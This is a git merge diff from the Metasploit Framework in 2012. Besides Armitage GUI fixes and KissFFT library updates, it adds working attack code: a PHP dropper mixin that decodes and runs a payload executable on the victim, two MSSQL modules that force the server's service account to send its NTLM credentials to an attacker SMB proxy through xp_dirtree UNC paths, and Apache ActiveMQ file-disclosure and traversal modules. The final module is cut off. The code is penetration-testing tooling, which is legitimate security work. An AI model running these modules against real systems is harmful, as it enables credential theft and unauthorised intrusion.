Merge branch 'rapid7' into midnitesnake-postgres_payload

bug/bundler_fix
James Lee 2012-10-18 13:57:25 -05:00
commit 0221f75f39
76 changed files with 1953 additions and 977 deletions

View File

@ -37,7 +37,7 @@ namespace :yard do
task :stats => :environment do
stats = YARD::CLI::Stats.new
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
stats.run *yard_arguments
stats.run(*yard_arguments)
end
end

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,23 @@
Armitage Changelog
==================
16 Oct 12 (tested against msf 15972)
---------
- Added port 5985 to MSF Scans list.
- Meterpreter -> Access -> Persistence sets ACTION option for you
- Changed how LHOST and LPORT are set globally to prevent Ruby
character encoding conversion error in the framework.
- Pass Session, Log Keystrokes, and Persist now query module info
in a separate thread (avoids a deadlock opportunity)
- Armitage now shows folder/URL in a popup dialog for environments
where JDesktop API to open them directly is not supported
- Check all credentials option now filters the list to avoid trying
a pair of credentials twice.
- Armitage's exploit payload selection now selects cmd/unix/interact
when appropriate.
- Explore -> Processes now works with Java Meterpreter again.
- MSF Scans feature now runs http_version against port 443
5 Sept 12 (tested against msf r15804)
---------
- Setup dialog now trims host, port, user, and pass fields.

2
external/ruby-kissfft/Gemfile vendored Executable file
View File

@ -0,0 +1,2 @@
source "http://rubygems.org"
gemspec

View File

@ -1,7 +1,8 @@
Kiss FFT library
==================
Copyright (c) 2003-2006 Mark Borgerding
Copyright (c) 2003-2010 Mark Borgerding
All rights reserved.
@ -13,11 +14,10 @@ Redistribution and use in source and binary forms, with or without modification,
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Ruby wrapper layer
==================
Copyright (C) 2009 H D Moore
Copyright (C) 2009-2012 H D Moore < hdm[at]rapid7.com >
All rights reserved.

1
external/ruby-kissfft/Rakefile vendored Executable file
View File

@ -0,0 +1 @@
require "bundler/gem_tasks"

View File

@ -1,5 +1,5 @@
/*
Copyright (c) 2003-2004, Mark Borgerding
Copyright (c) 2003-2010, Mark Borgerding
All rights reserved.
@ -148,3 +148,17 @@ struct kiss_fft_state{
/* a debugging function */
#define pcpx(c)\
fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) )
#ifdef KISS_FFT_USE_ALLOCA
// define this to allow use of alloca instead of malloc for temporary buffers
// Temporary buffers are used in two case:
// 1. FFT sizes that have "bad" factors. i.e. not 2,3 and 5
// 2. "in-place" FFTs. Notice the quotes, since kissfft does not really do an in-place transform.
#include <alloca.h>
#define KISS_FFT_TMP_ALLOC(nbytes) alloca(nbytes)
#define KISS_FFT_TMP_FREE(ptr)
#else
#define KISS_FFT_TMP_ALLOC(nbytes) KISS_FFT_MALLOC(nbytes)
#define KISS_FFT_TMP_FREE(ptr) KISS_FFT_FREE(ptr)
#endif

View File

@ -1,5 +1,5 @@
/*
Copyright (c) 2003-2004, Mark Borgerding
Copyright (c) 2003-2010, Mark Borgerding
All rights reserved.
@ -18,21 +18,6 @@ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
fixed or floating point complex numbers. It also delares the kf_ internal functions.
*/
static kiss_fft_cpx *scratchbuf=NULL;
static size_t nscratchbuf=0;
static kiss_fft_cpx *tmpbuf=NULL;
static size_t ntmpbuf=0;
#define CHECKBUF(buf,nbuf,n) \
do { \
if ( nbuf < (size_t)(n) ) {\
free(buf); \
buf = (kiss_fft_cpx*)KISS_FFT_MALLOC(sizeof(kiss_fft_cpx)*(n)); \
nbuf = (size_t)(n); \
} \
}while(0)
static void kf_bfly2(
kiss_fft_cpx * Fout,
const size_t fstride,
@ -69,6 +54,7 @@ static void kf_bfly4(
const size_t m2=2*m;
const size_t m3=3*m;
tw3 = tw2 = tw1 = st->twiddles;
do {
@ -222,29 +208,30 @@ static void kf_bfly_generic(
kiss_fft_cpx t;
int Norig = st->nfft;
CHECKBUF(scratchbuf,nscratchbuf,p);
kiss_fft_cpx * scratch = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC(sizeof(kiss_fft_cpx)*p);
for ( u=0; u<m; ++u ) {
k=u;
for ( q1=0 ; q1<p ; ++q1 ) {
scratchbuf[q1] = Fout[ k ];
C_FIXDIV(scratchbuf[q1],p);
scratch[q1] = Fout[ k ];
C_FIXDIV(scratch[q1],p);
k += m;
}
k=u;
for ( q1=0 ; q1<p ; ++q1 ) {
int twidx=0;
Fout[ k ] = scratchbuf[0];
Fout[ k ] = scratch[0];
for (q=1;q<p;++q ) {
twidx += fstride * k;
if (twidx>=Norig) twidx-=Norig;
C_MUL(t,scratchbuf[q] , twiddles[twidx] );
C_MUL(t,scratch[q] , twiddles[twidx] );
C_ADDTO( Fout[ k ] ,t);
}
k += m;
}
}
KISS_FFT_TMP_FREE(scratch);
}
static
@ -265,7 +252,8 @@ void kf_work(
#ifdef _OPENMP
// use openmp extensions at the
// top-level (not recursive)
if (fstride==1) {
if (fstride==1 && p<=5)
{
int k;
// execute the p different work units in different threads
@ -380,14 +368,15 @@ kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem
}
void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride)
{
if (fin == fout) {
CHECKBUF(tmpbuf,ntmpbuf,st->nfft);
//NOTE: this is not really an in-place FFT algorithm.
//It just performs an out-of-place FFT into a temp buffer
kiss_fft_cpx * tmpbuf = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC( sizeof(kiss_fft_cpx)*st->nfft);
kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft);
KISS_FFT_TMP_FREE(tmpbuf);
}else{
kf_work( fout, fin, 1,in_stride, st->factors,st );
}
@ -399,17 +388,9 @@ void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout)
}
/* not really necessary to call, but if someone is doing in-place ffts, they may want to free the
buffers from CHECKBUF
*/
void kiss_fft_cleanup(void)
{
free(scratchbuf);
scratchbuf = NULL;
nscratchbuf=0;
free(tmpbuf);
tmpbuf=NULL;
ntmpbuf=0;
// nothing needed any more
}
int kiss_fft_next_fast_size(int n)

View File

@ -5,7 +5,6 @@
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <malloc.h>
#ifdef __cplusplus
extern "C" {
@ -27,9 +26,11 @@ extern "C" {
#ifdef USE_SIMD
# include <xmmintrin.h>
# define kiss_fft_scalar __m128
#define KISS_FFT_MALLOC(nbytes) memalign(16,nbytes)
#define KISS_FFT_MALLOC(nbytes) _mm_malloc(nbytes,16)
#define KISS_FFT_FREE _mm_free
#else
#define KISS_FFT_MALLOC malloc
#define KISS_FFT_FREE free
#endif

View File

@ -19,9 +19,9 @@ struct kiss_fftr_state{
kiss_fft_cfg substate;
kiss_fft_cpx * tmpbuf;
kiss_fft_cpx * super_twiddles;
#ifdef USE_SIMD
long pad;
#endif
#ifdef USE_SIMD
void * pad;
#endif
};
kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem)

16
external/ruby-kissfft/kissfft.gemspec vendored Normal file
View File

@ -0,0 +1,16 @@
# -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = "kissfft"
s.version = "0.0.1"
s.authors = ["HD Moore"]
s.email = ["hdm@rapid7.com"]
s.homepage = ""
s.summary = %q{Ruby wrapper around the KisFFT library for performing FFTs}
s.description = %q{Provides access to the KissFFT library for performing fast-fourier transforms from Ruby }
s.files = Dir.glob('lib/**/*.rb') + Dir.glob('ext/**/*.{c,h,rb}') + [ "LICENSE" ]
s.test_files = Dir.glob('test/**/*.{rb,data}')
s.extensions = [ 'ext/kissfft/extconf.rb' ]
s.require_paths = ["lib"]
end

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.44</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 5 Sept 12</p>
<br />Release: 16 Oct 12</p>
<br />
<p>Developed by:</p>

View File

@ -349,6 +349,9 @@ sub best_payload {
else if ("java/jsp_shell_bind_tcp" in $compatible) {
return "java/jsp_shell_bind_tcp";
}
else if ("cmd/unix/interact" in $compatible) {
return "cmd/unix/interact";
}
else {
return "generic/shell_bind_tcp";
}

View File

@ -475,7 +475,12 @@ sub gotoFile {
return lambda({
local('$exception');
try {
[[Desktop getDesktop] open: $f];
if ([Desktop isDesktopSupported]) {
[[Desktop getDesktop] open: $f];
}
else {
ask("Browse to this file:", $f);
}
}
catch $exception {
showError("Could not open $f $+ \n $+ $exception");

View File

@ -356,6 +356,16 @@ sub _launch_dialog {
if (!isShift($1)) {
[$dialog setVisible: 0];
}
# fix some module options...
if ($command eq "windows/manage/persistence") {
if ('REXE' in $options) {
$options['ACTION'] = 'REXE';
}
else {
$options['ACTION'] = 'TEMPLATE';
}
}
# it's go time buddy... time to filter some stuff...
($type, $command, $options) = filter_data("user_launch", $type, $command, $options);

View File

@ -188,7 +188,12 @@ sub main_attack_items {
sub gotoURL {
return lambda({
[[Desktop getDesktop] browse: $url];
if ([Desktop isDesktopSupported]) {
[[Desktop getDesktop] browse: $url];
}
else {
ask("Browse to this URL:", $url);
}
}, $url => [[new URL: $1] toURI]);
}

View File

@ -191,11 +191,15 @@ sub showMeterpreterMenu {
}, $sid => "$sid"));
item($j, "Persist", 'P', lambda({
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
thread(lambda({
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
}, \$sid));
}, $sid => "$sid"));
item($j, "Pass Session", 'S', lambda({
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
thread(lambda({
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
}, \$sid));
}, $sid => "$sid"));
setupMenu($j, "meterpreter_access", @($sid));
@ -241,7 +245,9 @@ sub showMeterpreterMenu {
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($j, "Log Keystrokes", 'K', lambda({
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
thread(lambda({
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
}, \$sid));
}, $sid => "$sid"));
}
@ -305,6 +311,9 @@ sub launch_msf_scans {
if ('RPORT' in %o) {
$port = %o['RPORT']['default'];
push(%ports[$port], $scanner);
if ($port == 80) {
push(%ports['443'], $scanner);
}
}
safetyCheck();
@ -313,7 +322,7 @@ sub launch_msf_scans {
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
# for the default ports
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902, 5985)) {
$temp = %ports[$port];
}
@ -343,7 +352,12 @@ sub launch_msf_scans {
if ($port in %ports) {
$modules = %ports[$port];
foreach $module ($modules) {
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
if ($port == 443) {
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24, SSL => "1")));
}
else {
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
}
}
}
}

View File

@ -297,19 +297,24 @@ sub show_login_dialog {
}
sub createUserPassFile {
local('$handle $user $pass $type $row $2 $name');
local('$handle $user $pass $type $row $2 $name %entries');
$name = "userpass" . rand(10000) . ".txt";
$handle = openf("> $+ $name");
# loop through our entries and store them
%entries = ohash();
foreach $row ($1) {
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
if ($type eq "password" || $type eq $2) {
println($handle, "$user $pass");
%entries["$user $pass"] = "$user $pass";
}
else {
println($handle, "$user");
%entries[$user] = $user;
}
}
# print out unique entry values
$handle = openf("> $+ $name");
printAll($handle, values(%entries));
closef($handle);
if ($client !is $mclient) {

View File

@ -27,6 +27,12 @@ sub parseProcessList {
# REMOVEME--this is a backwards compatability hack.
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
}
# this is the format for Java meterpreter
if (size(@rows) == 0) {
@rows = parseTextTable($2, @("PID", "Name", "Arch", "User", "Path"));
}
foreach $row (@rows) {
[%processes[$1] addEntry: $row];
}

View File

@ -355,7 +355,7 @@ sub client {
sub main {
global('$client $mclient');
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle');
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console');
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
@ -400,9 +400,6 @@ sub main {
$mclient = $client;
initConsolePool(); # this needs to happen... right now.
# set the LHOST to whatever the user specified
call_async($client, "core.setg", "LHOST", $host);
# we need this global to be set so our reverse listeners work as expected.
$MY_ADDRESS = $host;
@ -423,6 +420,13 @@ sub main {
$lock_lock = semaphore(1);
$cach_lock = semaphore(1);
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
$console = createConsole($client);
call($client, "console.write", $console, "setg LHOST $host $+ \n");
sleep(2000);
# absorb the output of this command which is LHOST => ...
call($client, "console.read", $console);
#
# create a thread to push console messages to the event queue for all clients.
#
@ -437,7 +441,7 @@ sub main {
release($poll_lock);
}
}
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
}, \$client, \$poll_lock, \@events, \$console);
#
# Create a shared hash that contains a thread for each session...

View File

@ -152,7 +152,10 @@ sub createConsoleTab {
sub setg {
%MSF_GLOBAL[$1] = $2;
call_async($client, "core.setg", $1, $2);
local('$c');
$c = createConsole($client);
call_async($client, "console.write", $c, "setg $1 $2 $+ \n");
call_async($client, "console.release", $c);
}
sub createDefaultHandler {

View File

@ -104,6 +104,9 @@ public class ConsoleClient implements Runnable, ActionListener {
if (destroyCommand != null) {
((RpcAsync)connection).execute_async(destroyCommand, new Object[] { session });
}
/* we don't need to keep reading from this console */
kill();
}
protected void finalize() {

View File

@ -1,6 +1,23 @@
Armitage Changelog
==================
16 Oct 12 (tested against msf 15972)
---------
- Added port 5985 to MSF Scans list.
- Meterpreter -> Access -> Persistence sets ACTION option for you
- Changed how LHOST and LPORT are set globally to prevent Ruby
character encoding conversion error in the framework.
- Pass Session, Log Keystrokes, and Persist now query module info
in a separate thread (avoids a deadlock opportunity)
- Armitage now shows folder/URL in a popup dialog for environments
where JDesktop API to open them directly is not supported
- Check all credentials option now filters the list to avoid trying
a pair of credentials twice.
- Armitage's exploit payload selection now selects cmd/unix/interact
when appropriate.
- Explore -> Processes now works with Java Meterpreter again.
- MSF Scans feature now runs http_version against port 443
5 Sept 12 (tested against msf r15804)
---------
- Setup dialog now trims host, port, user, and pass fields.

View File

@ -0,0 +1,88 @@
# -*- coding: binary -*-
##
# $Id$
##
###
#
# This module exposes a simple method to create an payload in an executable.
#
###
require 'msf/core/payload/php'
module Msf
module Exploit::PhpEXE
include Exploit::EXE
include Payload::Php
#
# Generate a first-stage php payload.
#
# For ARCH_PHP targets, simply returns payload.encoded wrapped in <?php ?>
# markers.
#
# For target architectures other than ARCH_PHP, this will base64 encode an
# appropriate executable and drop it on the target system. After running
# it, the generated code will attempt to unlink the dropped executable which
# will certainly fail on Windows.
#
# @option opts [String] :writable_path A path on the victim where we can
# write an executable. Uses current directory if not given.
# @option opts [Boolean] :unlink_self Whether to call unlink(__FILE__); in
# the payload. Good idea for arbitrary-file-upload vulns, bad idea for
# write-to-a-config-file vulns
#
# @return [String] A PHP payload that will drop an executable for non-php
# target architectures
#
# @todo Test on Windows
def get_write_exec_payload(opts={})
case target_arch.first
when ARCH_PHP
php = payload.encoded
else
bin_name = Rex::Text.rand_text_alpha(8)
if opts[:writable_path]
bin_name = [opts[:writable_path], bin_name].join("/")
else
bin_name = "./#{bin_name}"
end
if target["Platform"] == 'win'
bin_name << ".exe"
print_debug("Unable to clean up #{bin_name}, delete it manually")
end
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q{
error_reporting(0);
$ex = "#{bin_name}";
$f = fopen($ex, "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
chmod($ex, 0777);
function my_cmd($cmd) {
#{php_preamble}
#{php_system_block};
}
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
my_cmd($ex . "&");
} else {
my_cmd($ex);
}
unlink($ex);
}
end
if opts[:unlink_self]
php << "unlink(__FILE__);"
end
php.gsub!(/#.*$/, '')
php.gsub!(/[\t ]+/, ' ')
php.gsub!(/\n/, ' ')
return "<?php #{php} ?>"
end
end
end

View File

@ -6,10 +6,17 @@ require 'msf/core'
###
module Msf::Payload::Php
def initialize(info = {})
super(info)
end
#
# Generate a chunk of PHP code that should be eval'd before
# #php_system_block.
#
# The generated code will initialize
#
# @options options [String] :disabled_varname PHP variable name in which to
# store an array of disabled functions.
#
# @returns [String] A chunk of PHP code
#
def php_preamble(options = {})
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
dis = '$' + dis if (dis[0,1] != '$')
@ -32,6 +39,20 @@ module Msf::Payload::Php
return preamble
end
#
# Generate a chunk of PHP code that tries to run a command.
#
# @options options [String] :cmd_varname PHP variable name containing the
# command to run
# @options options [String] :disabled_varname PHP variable name containing
# an array of disabled functions. See #php_preamble
# @options options [String] :output_varname PHP variable name in which to
# store the output of the command. Will contain 0 if no exec functions
# work.
#
# @returns [String] A chunk of PHP code that, with a little luck, will run a
# command.
#
def php_system_block(options = {})
cmd = options[:cmd_varname] || '$cmd'
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
@ -102,12 +123,12 @@ module Msf::Payload::Php
# Currently unused until we can figure out how to get output with COM
# objects (which are not subject to safe mode restrictions) instead of
# PHP functions.
win32_com = "
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$wscript = new COM('Wscript.Shell');
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
#{output} = file_get_contents('%TEMP%\\out.txt');
}else"
#win32_com = "
# if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
# $wscript = new COM('Wscript.Shell');
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
# #{output} = file_get_contents('%TEMP%\\out.txt');
# }else"
fail_block = "
{
#{output}=0;

View File

@ -367,6 +367,17 @@ module PacketDispatcher
end
end
# If the backlog and incomplete arrays are the same, it means
# dispatch_inbound_packet wasn't able to handle any of the
# packets. When that's the case, we can get into a situation
# where @pqueue is not empty and, since nothing else bounds this
# loop, we spin CPU trying to handle packets that can't be
# handled. Sleep here to treat that situation as though the
# queue is empty.
if (backlog.length > 0 && backlog.length == incomplete.length)
::IO.select(nil, nil, nil, 0.10)
end
@pqueue.unshift(*incomplete)
if(@pqueue.length > 100)

View File

@ -1894,11 +1894,11 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
last_search_id = sid
last_offset = loff
last_filename = name
if eos != 1 #If we aren't at the end of the search, run find_next
if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
resp = find_next(last_search_id, last_offset, last_filename)
search_next = 1 # Flip bit so response params will parse correctly
end
end until eos == 1
end until eos != 0 or last_offset == 0
rescue ::Exception
raise $!
end

View File

@ -0,0 +1,79 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server NTLM Stealer',
'Description' => %q{
This module can be used to help capture or relay the LM/NTLM credentials of the
account running the remote SQL Server service. The module will use the supplied
credentials to connect to the target SQL Server instance and execute the native
"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in the SMBProxy
option. In order for the attack to be successful, the SMB capture or relay module
must be running on the system defined as the SMBProxy. The database account used
to connect to the database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local administrative access
to the Windows system. Specifically, this works great for relaying credentials
between two SQL Servers using a shared service account to get shells. However, if
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
inspiration.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
'License' => MSF_LICENSE,
'Platform' => [ 'Windows' ],
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]],
))
register_options(
[
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
], self.class)
end
def run_host(ip)
# Reminder
print_status("DONT FORGET to run a SMB capture or relay module!")
# Call auth_force method to execute "xp_dirtree"
begin
force_auth("xp_dirtree",datastore['SMBPROXY'])
return
rescue
print_error("xp_dirtree failed to initiate authentication to smbproxy.")
end
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
begin
force_auth("xp_fileexist",datastore['SMBPROXY'])
return
rescue
print_error("xp_fileexist failed to initiate authentication to smbproxy.")
end
end
# Method to force sql server to authenticate
def force_auth(sprocedure,smbproxy)
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
# Generate random file name
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
# Setup query
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
print_good("Successfully executed #{sprocedure} on #{rhost}")
print_good("Go check your SMB relay or capture module for goodies!")
end
end

View File

@ -0,0 +1,61 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL_SQLI
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server NTLM Stealer - SQLi',
'Description' => %q{
This module can be used to help capture or relay the LM/NTLM credentials of the
account running the remote SQL Server service. The module will use the SQL
injection from GET_PATH to connect to the target SQL Server instance and execute
the native "xp_dirtree" or stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in the SMBProxy
option. In order for the attack to be successful, the SMB capture or relay module
must be running on the system defined as the SMBProxy. The database account used to
connect to the database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local administrative access
to the Windows system. Specifically, this works great for relaying credentials
between two SQL Servers using a shared service account to get shells. However, if
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
and john the ripper.
},
'Author' =>
[
'nullbind <scott.sutherland[at]netspi.com>',
'Antti <antti.rantasaari[at]netspi.com>'
],
'License' => MSF_LICENSE,
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'Platform' => [ 'Windows' ],
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]],
))
register_options(
[
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
], self.class)
end
def run
# Reminder
print_status("DONT FORGET to run a SMB capture or relay module!")
# Generate random file name
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
# Setup query - double escaping backslashes
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
# Execute query to force authentation from backend database to smbproxy
mssql_query(sql)
end
end

View File

@ -0,0 +1,71 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache ActiveMQ JSP files Source Disclosure',
'Description' => %q{
This module exploits a source code disclosure in Apache ActiveMQ. The
vulnerability is due to the Jetty's ResourceHandler handling of specially crafted
URI's starting with //. It has been tested successfully on Apache ActiveMQ 5.3.1
over Windows 2003 SP2 and Ubuntu 10.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Veerendra G.G', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-1587' ],
[ 'OSVDB', '64020' ],
[ 'BID', '39636' ],
[ 'URL', 'https://issues.apache.org/jira/browse/AMQ-2700' ]
]
))
register_options(
[
Opt::RPORT(8161),
OptString.new('TARGETURI', [true, 'Path to the JSP file to disclose source code', '/admin/index.jsp'])
], self.class)
end
def run_host(ip)
print_status("#{rhost}:#{rport} - Sending request...")
res = send_request_cgi({
'uri' => "/#{target_uri.to_s}",
'method' => 'GET',
})
if res and res.code == 200
contents = res.body
fname = File.basename(datastore['TARGETURI'])
path = store_loot(
'apache.activemq',
'text/plain',
ip,
contents,
fname
)
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve file")
return
end
end
end

View File

@ -0,0 +1,79 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache ActiveMQ Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in Apache ActiveMQ
5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty's
ResourceHandler installed with the affected versions. This module has been tested
successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AbdulAziz Hariri', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=895' ],
[ 'URL', 'https://issues.apache.org/jira/browse/amq-2788' ]
]
))
register_options(
[
Opt::RPORT(8161),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
